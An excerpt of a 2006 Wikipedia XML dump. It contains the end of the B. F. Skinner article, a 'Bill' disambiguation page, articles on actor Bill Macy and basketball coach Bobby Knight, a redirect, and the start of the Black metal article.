According to a photo caption at the site of Los Horcones community (which was inspired by Skinner's ''Walden Two''), in his youth Skinner used to swim in [[Thoreau|Thoreau's]] [[Walden Pond]]. [http://www.loshorcones.org.mx/walden.html]

==Works==
*''The Behavior of Organisms: An Experimental Analysis'', 1938. &lt;small&gt;ISBN 1-58390-007-1, ISBN 0-87411-487-X.&lt;/small&gt;
*''[[Walden Two]]'', 1948. &lt;small&gt;ISBN 0-02-411510-X.&lt;/small&gt;
*''Science and Human Behavior'', 1953. &lt;small&gt;ISBN 0-02-929040-6.&lt;/small&gt;
*''Schedules of Reinforcement'', with C. B. Ferster, 1957. &lt;small&gt;ISBN 0-13-792309-0.&lt;/small&gt;
*''[[Verbal Behavior]]'', 1957. &lt;small&gt;ISBN 1-58390-021-7.&lt;/small&gt;
*''The Analysis of Behavior: A Program for Self Instruction'', with James G. Holland, 1961.  This self-instruction book is no longer in print, but the B.F. Skinner Foundation web site has an interactive version. &lt;small&gt;ISBN 07-029565-4.&lt;/small&gt;
*''The Technology of Teaching'', 1968.
*''Contingencies of Reinforcement: A Theoretical Analysis'', 1969. &lt;small&gt;ISBN 390-81280-3.&lt;/small&gt;
*''[[Beyond Freedom and Dignity]]'', 1971. &lt;small&gt;ISBN 0-394-42555-3.&lt;/small&gt;
*''About Behaviorism'', 1974. &lt;small&gt;ISBN 0-394-49201-3&lt;/small&gt;
*''Particulars of My Life: Part One of an Autobiography'', 1976. &lt;small&gt;ISBN 0-394-40071-2.&lt;/small&gt;
*''[[Reflections on Behaviorism and Society]]'', 1978. &lt;small&gt;ISBN 0-13-770057-1.&lt;/small&gt;
*''The Shaping of a Behaviorist: Part Two of an Autobiography'', 1979. &lt;small&gt;ISBN 0-394-50581-6.&lt;/small&gt;
*''Notebooks'', edited by Robert Epstein, 1980. &lt;small&gt;ISBN 0-13-624106-9.&lt;/small&gt;
*''Skinner for the Classroom'', edited by R. Epstein, 1982. &lt;small&gt;ISBN 0-87822-261-8.&lt;/small&gt;
*''Enjoy Old Age: A Program of Self-Management'', with M. E. Vaughan, 1983. 
*''A Matter of Consequences: Part Three of an Autobiography'', 1983. &lt;small&gt;ISBN 0-394-53266-0, ISBN 0-8147-7845-3.&lt;/small&gt;
*''Upon Further Reflection'', 1987. &lt;small&gt;ISBN 0-13-938986-5.&lt;/small&gt;
*''Recent Issues in the Analysis of Behavior'', 1989. &lt;small&gt;ISBN 0-675-20674-X.&lt;/small&gt;
*''Cumulative Record: A Selection of Papers'', 1959, 1961, 1972 and 1999 as ''Cumulative Record: Definitive Edition''. This book includes the authentic account of the much-misrepresented [[daughter in a box|&quot;Baby in a box&quot;]] device. &lt;small&gt;ISBN 1-58390-00505.&lt;/small&gt;

==References==

Epstein, R. (1997) Skinner as self-manager. ''Journal of applied behavior analysis''. 30, 545-569. Retrieved from the world wide web on: June 2, 2005 from http://seab.envmed.rochester.edu/jaba/articles/1997/jaba-30-03-0545.pdf   
  
== See also ==   
* [[Supernaturalization]]   
* [[Project Pigeon]]
* [[Behavior Modification]]

==External links==   
{{wikiquote}}
*[http://www.learno.com/ Learno.com - A website setup by academics which allows anyone to create and learn using the Programmed Learning method orginally devised by B F Skinner]
*[http://www.bfskinner.org/instruction/setup.exe ''The Analysis of Behavior'']: ''A Program for Self-Instruction'', in software.
*[http://www.nap.edu/readingroom/books/biomems/bskinner.html National Academy of Sciences biography].
*[http://www.bfskinner.org/ The B. F. Skinner Foundation].
*[http://www.nndb.com/people/297/000022231/ B.F. Skinner profile, NNDB].
*[http://www.loshorcones.org.mx/index-eng.php/ Los Horcones Walden Two Community].
*[http://books.guardian.co.uk/departments/healthmindandbody/story/0,6000,1168052,00.html I was not a lab rat], response by Skinner's daughter about the &quot;baby box&quot;.   
  
''Articles by Skinner:''   
*[http://psychclassics.yorku.ca/Skinner/Twotypes/twotypes.htm Two Types of Conditioned Reflex and a Pseudo Type (1935)]   
*[http://psychclassics.yorku.ca/Skinner/Pigeon/ &quot;Superstition&quot; in the Pigeon (1947)]   
*[http://psychclassics.asu.edu/Skinner/Theories/ Are Theories of Learning Necessary? (1950)]   
   
[[Category:1904 births|Skinner, B. F.]]   
[[Category:1990 deaths|Skinner, B. F.]] 
[[Category:Psychologists|Skinner, B F]]   
[[Category:American psychologists|Skinner, B. F.]]
[[Category:Educational psychologists|Skinner, B. F.]]    
[[Category:Ethologists|Skinner, B. F.]]
[[Category:Lambda Chi Alpha brothers|Skiner, B.F.]]
[[Category:National Medal of Science recipients|Skinner, B. F.]]

[[ca:Burrhus Frederic Skinner]]
[[de:Burrhus Frederic Skinner]]
[[es:Burrhus Frederic Skinner]]
[[eo:Burrhus Frederic SKINNER]]
[[fr:Burrhus F. Skinner]]
[[ia:B. F. Skinner]]
[[is:Burrhus Frederic Skinner]]
[[it:Burrhus Frederic Skinner]]
[[he:פרדריק סקינר]]
[[nl:Burrhus Skinner]]
[[ja:バラス・スキナー]]
[[pl:Burrhus Frederic Skinner]]
[[pt:Burrhus Frederic Skinner]]
[[sk:Burrhus Frederic Skinner]]
[[sv:Burrhus Frederic Skinner]]
[[zh:伯尔赫斯·弗雷德里克·斯金纳]]</text>
    </revision>
  </page>
  <page>
    <title>Bill</title>
    <id>4869</id>
    <revision>
      <id>40206033</id>
      <timestamp>2006-02-18T23:23:59Z</timestamp>
      <contributor>
        <username>Kevin Ryde</username>
        <id>564285</id>
      </contributor>
      <comment>drop dictionary definition - that'd belong on the wiktionary; back to last by 212.24.91.66</comment>
      <text xml:space="preserve">A '''bill''' can be one of:
{{Wiktionarypar|bill}}
* [[Banknote]], ie. paper currency, in US usage
* [[Bill (proposed law)]], put before a legislature
* [[Beak]], of a bird
* [[Bill (weapon)]], similar to a [[halberd]]
* [[Bill (payment)]], document requesting payment for goods and services rendered
* [[Peninsula]] of land jutting out into the sea, such as [[Portland Bill]]
* [[Bill of lading]], issued by a carrier receiving goods for transport
* [[Waybill]], describing a shipment
* [[Billboard (advertising)]]
* [[Billhook]], a long-handled saw with a curved blade
* [[Pokèmon]] card which enables the player that used it to draw two cards.
* [[Bill (band)]], band from [[California]]

People,

* [[Bill Cosby]]
* [[William]], Bill is a short form of WIlliam
* [[Bill (Kill Bill)]], character in the [[Kill Bill]] films by [[Quentin Tarantino]]
* [[Bill W.]], co-founder of [[Alcoholics Anonymous]]
* [[Bill Gates]], founder of [[Microsoft]]

See also,

* [[Buffalo Bills]], American NFL football team
* [[Bills]], Congolese youth subculture in the late 1950s, idolising cowboy Western movies
* [[The Bill]], long-running British police drama

{{disambig}}

[[es:Billete]]
[[pt:Bill]]</text>
    </revision>
  </page>
  <page>
    <title>Bill Macy</title>
    <id>4870</id>
    <revision>
      <id>36449054</id>
      <timestamp>2006-01-24T02:53:31Z</timestamp>
      <contributor>
        <username>Rhymeless</username>
        <id>58267</id>
      </contributor>
      <comment>+living</comment>
      <text xml:space="preserve">'''Bill Macy''' (born '''Wolf Marvin Garber''' on [[May 18]], [[1922]] in [[Revere, Massachusetts]]) is an [[United States|American]] actor, best known for his portrayal of Walter Findlay, [[Bea Arthur]]'s long-suffering husband on the [[1970s]] [[television]] [[Situation comedy|sitcom]] ''[[Maude]]''. 

Macy, before his success in ''Maude'', was something of an entertainment journeyman, performing in [[comedy club]]s, playing [[bit part]]s in movies as well as television shows, including ''[[The Edge of Night]]'' and ''[[All in the Family]]''. He also performed [[nudity|nude]] as a member of the original cast of ''[[Oh Calcutta]]'' in [[1969]].

An accomplished television actor, he has appeared on many shows, including ''[[Hanging In]]'' (a short-lived [[1979]] ''Maude'' [[spin-off]]), ''[[The Edge of Night]]'', ''[[St. Elsewhere]]'', ''[[Hotel (TV program)|Hotel]]'', ''[[Tales from the Darkside]]'', ''[[Highway to Heaven]]'', ''[[L.A. Law]]'', ''[[The Facts of Life]]'', ''[[Murder, She Wrote]]'', ''[[Father Dowling Mysteries]]'', ''[[Matlock (television series)|Matlock]]'', ''[[Diagnosis: Murder]]'', ''[[Chicago Hope]]'', ''[[Seinfeld]]'', ''[[The Lone Gunmen]]'', ''[[Jack &amp; Jill]]'', ''[[Two Guys, a Girl and a Pizza Place]]'', ''[[Touched by an Angel]]'', and ''[[ER (television)|ER]]''.

Additionally, Macy has also appeared in many theatrical and made-for-TV movies, notably ''[[Serial (1980 film)|Serial]]'' ([[1980]]), ''[[All Together Now]]'', ''[[Diary of a Young Comic]]'', ''[[Bad Medicine]]'', and ''[[Analyze This]]''.

He should not be confused with younger film and stage actor [[William H. Macy]].

==External links==
* {{imdb name|id=0534409|name=Bill Macy}}


[[Category:1922 births|Macy, Bill]]
[[Category:Actors and actresses appearing on ER|Macy, Bill]]
[[Category:Television actors|Macy, Bill]]
[[Category:American actors|Macy, Bill]]
[[Category:Living people|Macy, Bill]]</text>
    </revision>
  </page>
  <page>
    <title>Bobby Knight</title>
    <id>4871</id>
    <revision>
      <id>42091720</id>
      <timestamp>2006-03-03T19:48:41Z</timestamp>
      <contributor>
        <username>Mike Halterman</username>
        <id>309403</id>
      </contributor>
      <text xml:space="preserve">{{POV}}

[[Image:Knight1.jpg|thumb|right|300px|Fiery college basketball coaching legend Bob Knight.]]
'''Robert Montgomery &quot;Bobby&quot; Knight''' (born [[October 25]], [[1940 in sports|1940]] in [[Massillon, Ohio|Massillon]], [[Ohio]], [[USA]]) is the head men's [[college basketball|basketball]] coach at [[Texas Tech University]]. He previously held the same position at [[Indiana University Bloomington|Indiana University]] and the [[United States Military Academy]]. Knight is considered to be a stern disciplinarian, but a controversial figure who attracts a large amount of media attention for his behavior on and off the court.

== Coaching career ==
Bob Knight began his career as a player at Orrville High School and continued under [[Basketball Hall of Fame|Hall of Fame]] coach [[Fred R. Taylor|Fred Taylor]] at [[The Ohio State University]] in [[1958 in sports|1958]]. He was a reserve on the Buckeyes' [[1960 in sports|1960]] [[NCAA Men's Division I Basketball Championship|NCAA Division I National Championship]] team, which featured future Hall of Fame players [[John Havlicek]] and [[Jerry Lucas]]. Knight graduated with a degree in history and government in [[1962]].

After graduation in [[1962 in sports|1962]], Bob Knight coached at [[Cuyahoga Falls, Ohio|Cuyahoga Falls (Ohio)]] [[High School]] for one year, then accepted an assistant coaching position at [[United States Military Academy|Army]] in [[1963 in sports|1963]], where, two years later, he was named the head coach at the relatively young age of 24. In six seasons at West Point, Knight won 102 games. One of his players was future Hall of Fame coach [[Mike Krzyzewski]].

Knight was noticed as a rising star, and when [[Indiana University Bloomington|Indiana University]] was seeking a new coach in [[1971 in sports|1971]], they turned to Knight. Knight immediately endeared himself to the basketball-mad state of [[Indiana]] with his disciplined approach to the game. Educated in military history, Knight was given the nickname &quot;The General&quot; by former [[University of Detroit Mercy|University of Detroit]] and [[Detroit Pistons]] coach-turned-broadcaster [[Dick Vitale]].

Within two years, Knight turned a mediocre team into a [[Big Ten Conference]] powerhouse.  Indiana reached the Final Four in 1973, losing to [[University of California, Los Angeles|UCLA]].  In [[1975 in sports|1975]] the [[Indiana Hoosiers]] were undefeated. the number one team in the nation, when leading scorer and [[All-American]] [[Scott May]], the father of former [[University of North Carolina at Chapel Hill|North Carolina]] star and current [[Charlotte Bobcats]] player [[Sean May]], broke his arm during the Hoosiers' historic defeat of arch-rival [[Purdue University|Purdue]] on [[Mackey Arena|Purdue's home court]]. Indiana subsequently suffered a heartbreaking 92-90 loss to [[University of Kentucky|Kentucky]] in the regional finals of the Division I Men's National Championship tournament despite a determined, but ultimately ineffective, May gamely playing with a heavily-braced arm. The final game between [[University of California, Los Angeles|UCLA]] and Kentucky was historic, as it was Indiana-born UCLA head coach [[John Wooden|John Wooden's]] final game.

In [[1976 in sports|1976]], the Hoosiers made history, posting a perfect 32-0 record and winning the championship, beating [[University of Michigan|Michigan]] 86-68. Immediately after the game, Knight lamented that &quot;it should have been two.&quot; No [[NCAA Division I|Division I]] men's team has replicated the feat. Under Knight, the Hoosiers would also win championships in [[1981 in sports|1981]] and [[1987 in sports|1987]]. The 1981 team featured future Hall of Fame [[National Basketball Association|NBA]] [[point guard]] [[Isiah Thomas]], and the 1987 team featured guard [[Steve Alford]]. That championship game was won on a exhilarating last-second shot by [[Keith Smart]].

Additionally, Knight's Hoosiers won the [[1979 in sports|1979]] [[National Invitation Tournament|NIT]] championship, and Knight won the [[Olympic Games|Olympic]] gold medal as coach of the [[Michael Jordan]]-led [[1984 Summer Olympics|1984]] team. He also won eleven Big Ten Conference titles.   Knight is only one of four coaches to win NCAA, NIT, and Olympic championships, joining the legendary coaches, [[Dean Smith]] of North Carolina, [[Adolph Rupp]] of Kentucky, and [[Pete Newell]] of [[University of California, Berkeley|California]] in that achievement.

The Indiana Hoosiers were undefeated in Big Ten Conference play from [[1974 in sports|1974]] to 1976, and, in fact, only lost one game during the period (the aforementioned regional final against Kentucky).

Besides the 1975 Men's Division I tournament loss, many fans and pundits consider Bob Knight's only other true failure as Hoosiers head coach was his inability to convince future [[National Basketball Association]] legend [[Larry Bird]] to stay at Indiana.  Bird, who was raised in in the small southern Indiana town of [[French Lick, Indiana|French Lick]], could not acclimate himself to the massive IU campus. He left Indiana never having attended a single practice and transferred to the far smaller [[Indiana State University]], where he led the Sycamores to the 1979 Men's Division I championship game against the [[Magic Johnson|Earvin &quot;Magic&quot; Johnson]]-led [[Michigan State University|Michigan State]] Spartans.  The Spartans won 75-64.

== Knight's basketball philosophy ==

Bob Knight's teams feature an offense with players in constant motion, with an emphasis on having his post players set screens and his perimeter players passing the ball until a teammate becomes open for an uncontested jump shot or layup. On defense, Knight's players are required to both tenaciously guard opponents man-to-man and to help teammates when needed.  This requires tough, selfless, and intelligent play by players and the sacrifice of individual glory for the sake of the team's success.  Inarguably, this has become difficult in an era when underclassmen began leaving college in greater numbers for the greener pastures of the NBA.  However, Bob Knight has consistently had among the highest graduation rates among the college coaching fraternity.

Knight's basketball philosophy is, arguably, a major reason why so few of his players &amp;mdash; even the more prominent ones such as Steve Alford and Keith Smart &amp;mdash; have had long term success in the NBA.  Isiah Thomas is one of the few exceptions to the rule.

Bob Knight was very mindful of the great coaches who had preceded him, such as John Wooden, Pete Newell, and [[Hank Iba]] of [[Oklahoma State University|Oklahoma State]]. In [[1991 in sports|1991]], Bob Knight joined them by being elected to the [[Basketball Hall of Fame|James A. Naismith National Basketball Hall of Fame]] &amp;mdash; his first year of eligibility.

== Controversy ==

Bob Knight is, undisputedly, a disciplinarian.  His long coaching career is replete with incidents where his volatile temper and surliness have come to the surface.

Not only have his own players bore the brunt of Knight's behavior, but so have opposing players, reporters, referees, and Indiana University officials alike.  Moreover, sometimes bizarre incidents involving him have often made national and international news.

In [[1979 in sports|1979]], Bob Knight was arrested for assaulting a police officer during the [[Pan American Games]] in [[Puerto Rico]].  Knight was angry that a practice [[gym|gymnasium]] was not opened to his team, which featured future NBA stars [[Kevin McHale]] of [[University of Minnesota|Minnesota]] and [[Ralph Sampson]] (who was then a high school player) at center, and his own [[Isiah Thomas]].  The team swept through the tournament, posting a 9-0 record. Bob Knight was later convicted ''[[in absentia]]'' in a Puerto Rican court. However, the charges were later dropped when Indiana Governor [[Otis R. Bwen]] refused to cooperate in extraditing him to the island commonwealth.  Knight's reception in the US was initially sympathetic, as witnesses suggested that he had been provoked.  However, he soon lost much of the good will after a number of ill-considered public comments about Puerto Rico and its inhabitants.

Other notable incidents include Knight pulling guard Jim Wisman off the court by his jersey in 1976, throwing a chair across the court in protest of a referee's call during a [[1985 in sports|1985]] game against the rival [[Purdue University|Purdue Boilermakers]], allegedly kicking his own son, Pat Knight, during a [[1993 in sports|1993]] game (Knight claims he actually kicked a chair), and berating a NCAA university volunteer at a [[1998 in sports|1998]] news conference, for which the school was later fined $30,000.

Women's groups nationwide were outraged by Bob Knight's comments during an April, 1988 interview with [[Connie Chung]] in which Knight said, &quot;I think that if rape is inevitable, relax and enjoy it.&quot;  Knight's comment was in reference to an Indiana basketball game in which he felt the referees were making poor calls against the Hoosiers.  Knight claimed he called for Chung to not use the comment in the story immediately after saying it and Chung agreed it would not be used.  A crowd of about 300 protested on the Indiana University campus. 

Indiana University was once again fined in 1999, this time for $10,000 for Knight's derogatory remarks about a referee. Knight paid the fine himself to avoid being suspended by the university for a tournament game.

An Indiana University secretary also accused Knight of throwing a potted plant at her, and assistant coach Ron Felling claimed Knight threw him off a chair, and punched him in the chest after an eavesdropping Knight overheard him criticizing his program and methods on the telephone. (Felling allegedly said &quot;Knight's ranting and raving ... takes the fun out of winning&quot;).  Felling sued Knight for assault and received an out-of-court settlement of $35,000 from IU. Many feel it was Felling who precipitated Knight's 2000 firing by Indiana University president [[Myles Brand]] by leaking a video of a private practice session to the media in which Knight appears to strike and hold the throat of player Neil Reed. It is believed that Felling leaked the video in retaliation for being fired by Knight for disloyalty.

Reed was later voted off the team by his own teammates.

But, arguably, the most controversial incident involved Knight feigning whipping [[African American|black]] player named [[Calbert Cheaney]] in [[1992 in sports|1992]], an incident which made national headlines and resulted in howls of protests by civil rights leaders. Although Knight had done the same thing to several white players, only this made the press.  Knight apologized for the incident. However, Cheaney later revealed that the incident was staged for the benefit of the press after Knight's players tired of being repeatedly asked about how tough it is to play for Bob Knight.  The whip, in fact, was a gift from his players. Cheaney feigned whipping Knight with a towel as a reponse to this.

Most recently, in March, 2006, a student's heckling at [[Baylor University]] resulted in Knight having to be restrained by a police officer. The incident, though, was not severe enough to warrant any action from the [[Big 12 Conference]].{{ref|baylor}}

== Knight's supporters ==

Despite the controversies, Bob Knight has tremendous support among  many Indiana basketball fans  especially those who are aware of his many accomplishments off the court and the positive influence he's had on former and present players. They cite his honesty and exacting ethical standards, the fact that the Indiana University program was never charged with NCAA violations. He was intolerant of behavior of other people, on court or off, that would taint his the team or the school in any way. The majority of his players earned degrees.  Many parents of Knight's players praise the coach for instilling ethics and a drive to succeed in their sons and are grateful to him.  Knight has also raised countless dollars through his charity work and volunteer efforts.

One of the best indicators of Knight's positive influence is how some former players, assistant coaches, and even student managers have gone on to successful coaching careers.  Examples include [[Duke University|Duke]] coach Mike Krzyzewski and [[University of Iowa|Iowa]] coach Steve Alford.

== The end of an era ==

On March 14, 2000, right before Indiana was set to begin play in the NCAA tournament, the CNN/SI network ran a negative piece on Knight featuring former players and critics.  The most notable claim was that of former player Neil Reed, who claimed he was choked by Bob Knight in a 1997 practice.  Knight denied the claims in the story.

On April 11th, 2000, CNN/SI aired a tape of an IU practice from 1997 which seemed to show Knight &quot;choking&quot; Neil Reed.  Knight's supporters claim the tape is blurry, it is unclear whether Knight was choking Reed or placed his hands under the neck, and that the tape was repeatedly shown in slow motion and not full speed (where the incident only lasts a couple seconds).  The actual video tape differed greatly from Reed's earlier account of the incident.  The Indiana University Board of Trustees started an investigation into Knight.  As the investigation continued, media in Indiana leaked alleged incidents involving Knight that were uncovered.  Most of these were five or more years old.

In [[May 2000|May, 2000]], Indiana University president [[Myles Brand]] announced that he had adopted a a zero tolerance policy in regards to Bob Knight.

In [[September 2000|September, 2000]], a [[freshman]] student named [[Kent Harvey]] reportedly said, &quot;Hey Knight, what's up?&quot; to Bob Knight.  According to Harvey, Knight grabbed him by the arm and berated him for not showing him proper respect.  Knight later told the media that Harvey was exaggerating the incident; he only placed his hand on his shoulder and quietly lectured him about manners and respect.  Knight's assistant coaches backed his version of the story.

Although IU President Miles Brand states that even after a zero tolerance policy was placed on Bob Knight, the Harvey incident was only one of numerous complaints that occurred after its issuance that led to Knight being fired.  Harvey was supported by some, but vilified by many Knight supporters who claim Harvey intentionally set Knight up.  Knight's supporters contend that he was the victim of a media smear campaign orchestrated by enemies in the Indiana University administration and that the majority of Brand's reasons for firing Knight were not credible.

On [[September 12]], [[2000 in sports|2000]], Knight scolded [[ESPN]] reporter [[Jeremy Schaap]] for interrupting him and accused Brand and other Indiana administrators of distorting facts.  The next day, Knight said goodbye to a crowd of some 6,000 supporters.  Knight asked that they not hold a grudge against Kent Harvey, and that they let Kent Harvey get on with his education and his life.

Two years later, Knight sued [[Indiana University]], claiming the university violated his employment contract. The lawsuit was eventually dismissed.

== A new start ==

After taking the next season off, all the while on the lookout for vacancies, Bob Knight accepted the head coaching job at [[Texas Tech University]]. Since joining the Red Raiders, Knight has won his 800th game. He has 854 wins through the 2004-05 season

== Books about Bob Knight ==

Several independent books were written about Knight during this period, and although they noted his temper, they were not entirely uncomplimentary. Three of the best-known are [[A Season on the Brink|''&quot;A Season on the Brink&quot;'']] (ISBN 0025372300) by [[John Feinstein]], &quot;Bob Knight: His Own Man&quot; by Joan Mellen (ISBN 0-380-70809-4), and ''&quot;Playing for Knight: My Six Seasons with Bobby Knight&quot;'' (ISBN 067172441X) by former player and current [[University of Iowa|Iowa]] head basketball coach [[Steve Alford]].

&quot;A Season on the Brink&quot; was a national phenomenon, topping bestseller lists for many weeks and is one of the highest selling sports books in history. Knight became not only the most famous sports coach in America but also one of the most recognizable celebrities in the country. Both supporters and detractors feasted on a wealth of inside information about Knight and the workings of a major college basketball program, as John Feinstein (recommended to Knight by Duke coach Mike Krzyzewski) was granted full access to the program and Knight's personal life for an entire season. This book led to a trend of season-long coverage of sports teams by prominent authors.

The episode portrayed in the book most often cited as proof of Knight's lack of sanity is when he takes assistant coaches to see an elementary school basketball game and tells them that the star player of the team is a better player than any guard on the current IU college squad.  When journalists, after reading the book, asked Knight if he really believed that, he famously replied, &quot;I'm paid a lot of money by IU to know about such things.&quot; That player, Damon Bailey, was later voted the greatest high school player in Indiana's storied basketball history (even beating out [[Larry Bird]] and [[Oscar Robertson]],) and went on to star at Indiana University for four years.

In [[2002]] Knight and longtime friend and sports journalist Bob Hammel wrote his [[biography]], ''&quot;Knight: My Story&quot;'' (ISBN 0312311176.)

== Film and television ==

Many aspects of the teaching style and basketball philosophy of Coach Norman Dale (played by [[Gene Hackman]]) in the [[1986 in film|1986]] movie ''[[Hoosiers]]'' are obviously derived from Bob Knight's real history.

''[[Blue Chips]]'' is a [[1994 in film|1994]] feature film about Pete Bell, a volatile, but honest college basketball coach under pressure to win who decides to blatantly violate NCAA rules to field a competitive team after several sub-par seasons.  It starred [[Nick Nolte]] as Bell and [[National Basketball Association|NBA]] star [[Shaquille O'Neal]] as Neon Bordeaux, a dominating once-in-a-lifetime player Bell woos to his school with gifts and other perks.  Several incidents in the film are clearly inspired by Knight's history. Current NBA guard [[Penny Hardaway|Anfernee &quot;Penny&quot; Hardaway]] co-stars as another &quot;blue chipper&quot; recruited by Bell. NBA legend [[Bob Cousy]] plays the school's president. Knight himself has a cameo alongside other collegiate and NBA legends such as [[Larry Bird]] and [[Rick Pitino]].

In [[2002 in film|2002]], veteran character actor [[Brian Dennehy]] portrayed Knight in ''[[A Season on the Brink]]'', a TV film adapted from John Feinstein's book.  It was ESPN's first feature-length film.

It was announced in mid-2005 that Knight would be the central character of a new [[reality television|reality show]] for ESPN. To be titled ''[[Knight School (TV series)|Knight School]]'', the show will follow a handful of Texas Tech students who will compete for the right to join the Red Raiders as a non-scholarship player. Recently Knight was promoting ''Knight School'' on [[ESPN]]'s ''[[Cold Pizza]]'' in an interview with [[Dana Jacobson]]. Dana asked Knight at the end of the interview if he was interested in returning to his old coaching job at [[Indiana University]]. Knight replied that he would not answer questions about IU. When Knight was asked the same question, he walked out of the interview. Jacobson, who had a previously scheduled day off, was not at work the next day.

===''The Top 5 Reasons You Can't Blame...''===
On [[February 28]], [[2006 in television|2006]], [[ESPN Classic]] aired, as part of its regular series, ''[[The Top 5 Reasons You Can't Blame...]] Bob Knight For His Repeated Outbursts.'' Their reasons:

*5. West Point.  Living in a military atmosphere gives some people the idea that there is only one right way to do anything, and that higher rank means automatic superiority and lower rank means absolute obedience is required.  Although Knight has never served in the armed forces, his experience coaching the Army basketball team allowed him to absorb that mindset, which he has never relinquished.

*4. &quot;Scared straight.&quot; Knight always tells his new recruits to name the two teachers who have meant the most to them, and then name their two most demanding teachers, in the belief that they will be the same two.  His demands on his players get them to follow his rules, keep the program clean, graduate on time and become productive adult citizens.  Even his harshest critics concede that he does this.

*3. He wins.  Barring illness or another devastating scandal, in the 2006-07 season, Knight will likely surpass [[Dean Smith]] to become the winningest coach in the history of men's collegiate basketball.  At Indiana, he won 13 Conference Championships, made four trips to the Final Four and won three National Championships.  The only other active coach with three National Championships is his former Army assistant, [[Mike Krzyzewski]] of Duke, who may end up surpassing Knight's win total for a new record.  While Knight has not yet matched this success at Texas Tech, he is already making a case for himself as the school's best coach ever.

*2. Indiana University was an enabler.  Because Knight won with a clean program, the school let him get away with the kinds of things that would have ruined a losing coach.

*1. The public.  Both fans and the media have taken Knight's incidents and treated them as a show, and have also become enablers.  Like certain other sports figures and teams, he is loved as much as hated, and for many of those who love him, it is partly due to the same fiery personality that causes others to hate him.

{{start box}}
{{succession box | title=[[United States Military Academy|Army Basketball Coaches]][http://www.fansonly.com/photos/schools/army/sports/m-baskbl/auto_pdf/77-112.pdf] | before=[[Tates Locke]] | years=1965&amp;ndash;1971| after=Dan Dougherty}}
{{succession box | title=[[Indiana University Bloomington|Indiana University Basketball Coaches]][http://www.fansonly.com/photos/schools/ind/sports/m-baskbl/auto_pdf/mbbhistory151-166.pdf] | before=Jerry Oliver | years=1972&amp;ndash;2000| after=[[Mike Davis (coach)|Mike Davis]]}}
{{succession box | title=[[Texas Tech University|Texas Tech University Basketball Coaches]][http://www.fansonly.com/photos/schools/text/sports/m-baskbl/auto_pdf/mediaguide8.pdf] | before=James Dickey | years=2001&amp;ndash;| after=Pat Knight (designate)}}
{{end box}}

==Notes==
#{{note|baylor}}{{news reference
  | author=Keith Whitmire
  | url=http://www.dallasnews.com/sharedcontent/dws/spt/colleges/texastech/stories/030306dnspoknight.1c4691b0.html
  | title=Big 12 won't take action against Knight
  | org=The Dallas Morning News
  | date=March 2, 2006
}}


==References==
*[http://www.fansonly.com/photos/schools/army/sports/m-baskbl/auto_pdf/77-112.pdf &quot;The Archives&quot;.] ''2004-05 Army Men's Basketball Media Guide''.  Retrieved Dec. 23, 2005.
*[http://www.fansonly.com/photos/schools/ind/sports/m-baskbl/auto_pdf/mbbhistory151-166.pdf &quot;History&quot;.] ''2005-06 Indiana Men's Basketball Media Guide''.  Retrieved Dec. 23, 2005.
*[http://www.fansonly.com/photos/schools/text/sports/m-baskbl/auto_pdf/mediaguide8.pdf &quot;Texas Tech Record Book&quot;.] ''2005-06 Red Raider Media Guide''.  Retrieved Dec. 23, 2005.

==External links==
* [http://www.redraiders.com/coach/mbball/mbball_hcoach.shtml/ Bob Knight's page at the ''Lubbock Avalanche-Journal'' website]

[[Category:1940 births|Knight, Bobby]]
[[Category:Basketball Hall of Fame|Knight, Bobby]]
[[Category:American basketball players|Knight, Bobby]]
[[Category:American basketball coaches|Knight, Bobby]]
[[Category:College men's basketball coaches|Knight, Bobby]]
[[Category:People from Ohio|Knight, Bobby]]
[[Category:Indiana Hoosiers basketball|Knight, Bobby]]
[[Category:Texas Tech Red Raiders basketball|Knight, Bobby]]
[[Category:Ohio State Buckeyes men's basketball players|Knight, Bobby]]
[[Category:Living people|Knight, Bobby]]
[[de:Bobby Knight]]</text>
    </revision>
  </page>
  <page>
    <title>Babis</title>
    <id>4872</id>
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      <id>15903123</id>
      <timestamp>2002-06-08T10:10:30Z</timestamp>
      <contributor>
        <ip>195.149.37.181</ip>
      </contributor>
      <comment>*#REDIRECT [[Bábís]]</comment>
      <text xml:space="preserve">#REDIRECT [[Bábís]]</text>
    </revision>
  </page>
  <page>
    <title>Black metal</title>
    <id>4874</id>
    <revision>
      <id>42158164</id>
      <timestamp>2006-03-04T05:07:37Z</timestamp>
      <contributor>
        <username>Hmas</username>
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      </contributor>
      <comment>/* Characteristics */</comment>
      <text xml:space="preserve">{{mergefrom|Pakistani black metal}}
{{blackmetal}}
'''Black metal''' is a [[musical genre]] which emerged in the early 1980s predating the great expansion of [[heavy metal music|heavy metal]] 'extreme' genres. Black metal evolved from [[thrash metal]], as did its sister genre [[death metal]].

There are two views on the genre. One views black metal as a very specific form of music that must adhere to a particular 'style' in order for it to be a part of the genre; while the second considers the lyrical and philosophical/political ideology of the music to take more precedence in defining the genre itself, rather than 'style'.

The main originators of black metal are considered to be the bands [[Venom (band)|Venom]] (who coined the term in 1981 and named their second album Black Metal in 1982), [[Mercyful Fate]], [[Bathory (band)|Bathory]], [[Hellhammer]], [[Bulldozer (band)|Bulldozer]], [[Celtic Frost]] and [[Mayhem (band)|Mayhem]]. Albums that first sounded like what is generally considered to be black metal today are considered to be the recordings of [[Bathory (band)|Bathory]] in the mid [[1980s]]. Most notably ''[[Under the Sign of the Black Mark]]''

Black metal congealed in its current form (known as the second wave of black metal, which is rooted much more heavily in classical musical theory) through the influence of Norwegian bands such as [[Darkthrone]], [[Enslaved (band)|Enslaved]], [[Burzum]], [[Mayhem (band)|Mayhem]], [[Immortal (band)|Immortal]], and [[Emperor (band)|Emperor]], who began with the earlier style and introduced elements from mainstream heavy metal, [[European classical music|classical music]] and popularised the style to a growing underground audience. Their influence is most apparent in the Satanic (or other various pagan) imagery, anti-Christian lyrics and occult themes.

==Characteristics==

Black metal may have the following characteristics:

*Fast and guitars with [[tremolo]] picking
*Lyrics that take the form of [[Satanism|Satanic]], [[paganism|Pagan]], or [[occult]] themes which [[blasphemy|blaspheme]] [[Christianity]]. Bands such as [[Slayer]],  [[Deicide (band)|Deicide]], and [[Immolation (band)|Immolation]] overlap lyrically with black metal somewhat, but are musically defined as [[death metal]] (Immolation, Deicide), [[thrash metal]] (Slayer)
*Relatively thin guitar sound or relatively thick guitar sound, usually not in the middle.
*Limited production used intentionally as a statement against mainstream music and/or to reflect the mood of the music, to create atmosphere. This 'underproduced' effect is often achieved by cutting out low and high frequencies, leaving just the mid frequency range.
